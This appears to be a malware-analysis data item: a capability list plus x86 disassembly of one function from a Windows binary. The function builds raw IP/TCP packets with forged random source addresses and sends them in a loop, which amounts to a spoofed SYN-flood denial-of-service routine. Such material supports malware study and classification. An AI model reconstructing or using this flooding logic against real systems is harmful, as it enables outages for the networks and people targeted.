Function at 0x10005420
Capabilities:
Create raw socket
Create tcp socket
Create udp socket
Initialize winsock library
Resolve function by parsing pe exports
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x5f8
push ebx
push ebp
push esi
lea eax, [esp + 0x474]
push edi
mov ebp, ecx
push eax
push 0x202
mov dword [esp + 0x18], ebp
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov cl, byte [0x1000f9a0]
xor eax, eax
mov byte [esp + 0x78], cl
mov ecx, 0xff
lea edi, [esp + 0x79]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 1
push edi
push 0
push 0
push 0xff
push 3
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x3c], esi
je 0x10005721
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
lea edx, [esp + 0x40]
push 4
push edx
push 2
push 0
push esi
mov dword [esp + 0x54], edi
call ebx
cmp eax, 0xffffffff
je 0x10005721
lea eax, [esp + 0x44]
push 4
push eax
push 0x1005
push 0xffff
push esi
mov dword [esp + 0x58], 0xbb8
call ebx
cmp eax, 0xffffffff
je 0x10005721
mov cx, word [ebp + 0xd0]
mov ebx, dword [sym.imp.WS2_32.dll_htons]
push ecx
mov word [esp + 0x6c], 2
call ebx
lea edx, [ebp + 5]
mov ecx, ebp
push edx
mov word [esp + 0x6e], ax
call fcn.10006550
mov dword [esp + 0x6c], eax
xor eax, eax
mov dword [esp + 0x49], eax
mov byte [esp + 0x48], 0
mov dword [esp + 0x4d], eax
mov dword [esp + 0x51], eax
mov dword [esp + 0x55], eax
mov word [esp + 0x59], ax
mov byte [esp + 0x5b], al
mov al, byte [ebp + 4]
test al, al
jne 0x10005721
mov ebp, dword [sym.imp.MSVCRT.dll_rand]
mov al, 6
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], 0
mov word [esp + 0x2c], di
mov word [esp + 0x2e], 0x40
mov byte [esp + 0x30], 0x80
mov byte [esp + 0x31], al
mov byte [esp + 0x20], 0x50
mov word [esp + 0x26], 0
mov byte [esp + 0x64], 0
mov byte [esp + 0x65], al
call ebp
cdq
mov ecx, 0xfa
idiv ecx
inc edx
push edx
call ebp
cdq
mov ecx, 0xfa
idiv ecx
inc edx
push edx
call ebp
cdq
mov ecx, 0xfa
idiv ecx
inc edx
push edx
call ebp
cdq
mov ecx, 0xfa
idiv ecx
inc edx
push edx
lea edx, [esp + 0x58]
push str._d._d._d._d
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0x28
call ebx
mov word [esp + 0x2a], ax
lea eax, [esp + 0x48]
push eax
mov word [esp + 0x36], 0
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, dword [esp + 0x6c]
mov edi, eax
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], esi
call ebp
cdq
mov ecx, 0x401
idiv ecx
push edx
call ebx
mov edx, dword [esp + 0x10]
mov word [esp + 0x14], ax
mov ax, word [edx + 0xd0]
push eax
call ebx
mov word [esp + 0x16], ax
call ebp
cdq
mov ecx, 0x35a4e900
idiv ecx
inc edx
push edx
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [esp + 0x18], eax
call ebp
cdq
mov ecx, 3
idiv ecx
mov dword [esp + 0x1c], edx
call ebp
and eax, 0x80000001
jns 0x10005620
dec eax
or eax, 0xfffffffe
inc eax
neg eax
sbb al, al
push 0x200
and al, 0xe
add al, 2
mov byte [esp + 0x25], al
call ebx
push 0x14
mov word [esp + 0x26], ax
mov word [esp + 0x28], 0
call ebx
mov word [esp + 0x66], ax
mov edx, dword [esp + 0x64]
mov dword [esp + 0x78], edi
mov dword [esp + 0x7c], esi
mov ecx, 5
lea esi, [esp + 0x14]
lea edi, [esp + 0x84]
mov dword [esp + 0x80], edx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x78]
push 0x20
push eax
call fcn.100064f0
mov ecx, 5
lea esi, [esp + 0x28]
lea edi, [esp + 0x78]
mov word [esp + 0x24], ax
rep movsd dword es:[edi], dword [esi]
mov ecx, 5
lea esi, [esp + 0x14]
lea edi, [esp + 0x8c]
push 0x28
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x7c]
mov dword [esp + 0xa4], 0
push ecx
mov ecx, dword [esp + 0x18]
call fcn.100064f0
mov ecx, 5
lea esi, [esp + 0x28]
lea edi, [esp + 0x78]
mov word [esp + 0x32], ax
rep movsd dword es:[edi], dword [esi]
mov ecx, 5
lea esi, [esp + 0x14]
lea edi, [esp + 0x8c]
rep movsd dword es:[edi], dword [esi]
mov esi, 0x64
mov ecx, dword [esp + 0x3c]
lea edx, [esp + 0x68]
push 0x10
push edx
push 0
lea eax, [esp + 0x84]
push 0x28
push eax
push ecx
call dword [sym.imp.WS2_32.dll_sendto]
dec esi
jne 0x100056e9
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x10]
mov al, byte [edx + 4]
test al, al
je 0x1000555d
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x5f8
ret